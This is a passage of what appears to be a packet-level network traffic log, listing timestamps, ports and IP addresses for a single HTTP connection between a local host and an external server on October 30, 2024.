Oct 30, 2024 05:24:25.494719028 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494729042 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494729042 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494744062 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.494764090 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.494812965 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515018940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515122890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515142918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515304089 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515327930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515335083 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515343904 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515362024 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515384912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515388012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515400887 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515413046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515434027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515446901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515456915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515458107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515499115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515499115 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515711069 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515789986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515800953 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515811920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515839100 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515851974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515862942 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515863895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515872002 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515877962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515892982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515914917 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515929937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515929937 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.515940905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515954971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515964031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.515966892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516053915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516071081 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516076088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516096115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516098976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516108990 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516120911 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516143084 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516170979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516195059 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516210079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516221046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516266108 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.516357899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516367912 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516377926 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516391039 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.516419888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.558267117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.558279991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.558290958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.558306932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.558372021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.558372021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572637081 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572669983 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572680950 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572762966 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572767019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572789907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572803020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572813988 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572817087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572827101 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572839022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572851896 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572860003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572861910 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572890043 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572916031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572940111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572942019 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.572952032 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.572973967 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.573009014 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.573031902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573045969 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573062897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573074102 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573086977 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.573153973 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.573153973 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573174000 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573189974 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573201895 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.573214054 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.573245049 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613320112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613341093 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613356113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613389015 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613400936 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613415003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613441944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613452911 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613454103 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613487005 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613497972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613516092 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613543034 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613553047 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613558054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613574982 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613588095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613600016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613636971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613657951 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613668919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613681078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613707066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613718033 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613732100 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613733053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613750935 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613755941 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613871098 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613890886 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613892078 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613905907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613919020 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.613931894 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.613998890 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.614012003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.614022017 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.614027023 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.614136934 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634268999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634288073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634304047 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634327888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634354115 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634377003 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634387016 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634418964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634443045 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634479046 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634491920 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634504080 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634524107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634577036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634588003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634598017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.634599924 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.634623051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635117054 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635138035 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635164022 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635193110 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635194063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635206938 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635217905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635229111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635235071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635257006 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635270119 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635284901 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635294914 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635299921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635308027 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635341883 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635386944 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635402918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635413885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635441065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635452986 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635464907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635487080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635551929 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635607958 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635620117 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635632038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635638952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635744095 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635749102 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635763884 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635776997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635788918 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.635801077 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.635883093 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.677700043 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.677714109 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.677726030 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.677813053 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.677813053 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692043066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692070007 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692082882 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692094088 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692106962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692116976 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692188978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692199945 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692214012 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692224979 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692241907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692251921 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692253113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692265987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692277908 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692286968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692332029 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692342997 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692353964 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692373991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692421913 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692441940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692445040 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692464113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692476034 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692487001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692507029 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692539930 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692584991 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692625999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692650080 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692692995 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692703962 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.692717075 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.692941904 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.732880116 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.732892036 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.732923985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.732934952 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.732945919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.732959032 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733057976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733069897 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733084917 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733114004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733136892 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733139038 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733153105 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733164072 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733164072 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733195066 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733203888 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733206987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733218908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733242989 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733298063 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733309031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733319998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733324051 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733335972 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733352900 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733396053 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733408928 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733418941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733421087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733432055 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733458996 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733566999 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.733577013 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733597040 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733609915 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.733746052 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753637075 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753671885 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753698111 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753696918 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753710985 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753720999 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753747940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753760099 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753770113 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753774881 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753783941 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753803968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753803968 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753865004 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753892899 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.753897905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.753910065 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754261971 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754339933 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754349947 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754369020 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754374981 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754386902 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754395962 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754399061 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754452944 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754472971 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754508018 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754517078 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754528046 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754554987 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754565001 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754575968 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754580021 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754627943 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754637003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754647017 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754657984 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754728079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754741907 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754753113 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754759073 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754770994 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754784107 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754848003 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754862070 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754873991 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754878044 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754898071 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.754941940 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.754952908 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.755032063 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.755074978 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.755086899 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.755098104 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.755119085 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.755366087 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.797199965 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.797214031 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.797224998 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.797605038 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.811358929 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811393976 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811413050 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811446905 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811456919 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811466932 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811491966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.811491966 CET	49760	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:24:25.811494112 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811505079 CET	80	49760	185.215.113.16	192.168.2.6
Oct 30, 2024 05:24:25.811522007 CET	49760	80	192.168.2.6	185.215.113.16
